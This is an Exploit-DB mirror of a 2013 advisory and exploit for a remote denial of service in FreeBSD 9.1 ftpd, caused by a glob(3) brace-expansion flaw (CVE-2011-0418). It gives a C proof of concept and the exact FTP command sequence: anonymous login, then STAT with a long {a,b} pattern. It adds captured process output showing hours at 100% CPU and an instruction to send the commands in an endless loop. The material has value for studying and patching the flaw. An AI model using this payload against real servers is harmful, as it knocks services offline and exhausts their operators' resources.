FreeBSD 9.1 – ‘ftpd’ Remote Denial of Service

  • 作者: Maksymilian Arciemowicz
    日期: 2013-02-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/24450/
  • FreeBSD 9.1 ftpd Remote Denial of Service
    Maksymilian Arciemowicz
    http://cxsecurity.org/
    http://cxsec.org/
    
    Public Date: 01.02.2013
    URL: http://cxsecurity.com/issue/WLB-2013020003
    
    --- 1. Description ---
    I have decided check BSD ftpd servers once again for wildcards. Old
    bug in libc (CVE-2011-0418) allow to Denial of Service ftpd in last
    FreeBSD version.
    Attacker, what may connect anonymously to FTP server, may cause CPU
    resource exhaustion. Login as a 'USER anonymous' 'PASS anonymous',
    sending 'STAT' command with special wildchar, enought to create ftpd
    process with 100% CPU usage.
    
    Proof of Concept (POC):
    See the difference between NetBSD/libc and FreeBSD/libc.
    --- PoC ---
    #include <stdio.h>
    #include <glob.h>
    
    int main(){
    		glob_t globbuf;
    		char stringa[]="{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}";
    		glob(stringa,GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE|GLOB_LIMIT, NULL, &globbuf);
    }
    --- PoC ---
    
    --- Exploit ---
    user anonymous
    pass anonymous
    stat {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
    --- /Exploit ---
    
    Result of attack:
    ftp 13034 0.00.410416 1944??R10:48PM0:00.96
    ftpd: cxsec.org anonymous/anonymous (ftpd)
    ftp 13035 0.00.410416 1944??R10:48PM0:00.89
    ftpd: cxsec.org anonymous/anonymous (ftpd)
    ftp 13036 0.00.410416 1944??R10:48PM0:00.73
    ftpd: cxsec.org anonymous/anonymous (ftpd)
    ftp 13046 0.00.410416 1952??R10:48PM0:00.41
    ftpd: cxsec.org anonymous/anonymous (ftpd)
    ftp 13047 0.00.410416 1960??R10:48PM0:00.42
    ftpd: cxsec.org anonymous/anonymous (ftpd)
    ...
    root13219 0.00.310032 1424??R10:52PM0:00.00
    /usr/libexec/ftpd -dDA
    root13225 0.00.310032 1428??R10:52PM0:00.00
    /usr/libexec/ftpd -dDA
    root13409 0.00.310032 1404??R10:53PM0:00.00
    /usr/libexec/ftpd -dDA
    root13410 0.00.310032 1404??R10:53PM0:00.00
    /usr/libexec/ftpd -dDA
    ...
    
    =>Sending:
    STAT {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
    
    =>Result:
    @ps:
    ftp1336 100.00.510416 2360??R11:15PM 600:39.95
    ftpd: 127.0.0.1: anonymous/anonymous@cxsecurity.com: \r\n (ftpd)$
    @top:
    1336 root1 1030 10416K2360K RUN600:53 100.00% ftpd
    
    one request over 600m (~10h) execution time and 100% CPU usage. This
    issue allow to create N ftpd processes with 100% CPU usage.
    
    Just create loop while(1) and send these commands
    ---
    user anonymous
    pass anonymous
    stat {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
    ---
    
    NetBSD and OpenBSD has fixed this issue in glob(3)/libc (2011)
    http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c.diff?r1=1.24&r2=1.23.10.2
    
    The funniest is that freebsd use GLOB_LIMIT in ftpd server.
    http://www.freebsd.org/cgi/cvsweb.cgi/src/libexec/ftpd/ftpd.c
    ---
    	if (strpbrk(whichf, "~{[*?") != NULL) {
    		int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;
    
    		memset(&gl, 0, sizeof(gl));
    		gl.gl_matchc = MAXGLOBARGS;
    		flags |= GLOB_LIMIT;
    		freeglob = 1;
    		if (glob(whichf, flags, 0, &gl)) {
    ---
    
    but GLOB_LIMIT in FreeBSD dosen't work. glob(3) function allow to CPU
    resource exhaustion. ;]
    
    Libc was also vulnerable in Apple and Oracle products.
    http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html
    http://support.apple.com/kb/HT4723
    
    only FreeBSD and GNU glibc are affected
    
    
    --- 2. Exploit ---
    http://cxsecurity.com/issue/WLB-2013010233
    
    
    --- 3. Fix ---
    Don't use ftpd on FreeBSD systems. :) You may use vsftpd to resolve
    problem with security ;)
    
    
    --- 4. References ---
    Multiple Vendors libc/glob(3) remote ftpd resource exhaustion
    http://cxsecurity.com/issue/WLB-2010100135
    http://cxsecurity.com/cveshow/CVE-2010-2632
    
    Multiple FTPD Server GLOB_BRACE|GLOB_LIMIT memory exhaustion
    http://cxsecurity.com/issue/WLB-2011050004
    http://cxsecurity.com/cveshow/CVE-2011-0418
    
    More CWE-399 resource exhaustion examples:
    http://cxsecurity.com/cwe/CWE-399
    
    The regcomp implementation in the GNU C Library allows attackers to
    cause a denial of service proftpd
    http://cxsecurity.com/cveshow/CVE-2010-4051
    http://cxsecurity.com/cveshow/CVE-2010-4052
    http://www.kb.cert.org/vuls/id/912279
    
    
    --- 5. Contact ---
    Maksymilian Arciemowicz
    max 4T cxsecurity.com
    http://cxsecurity.com/
    http://cxsec.org/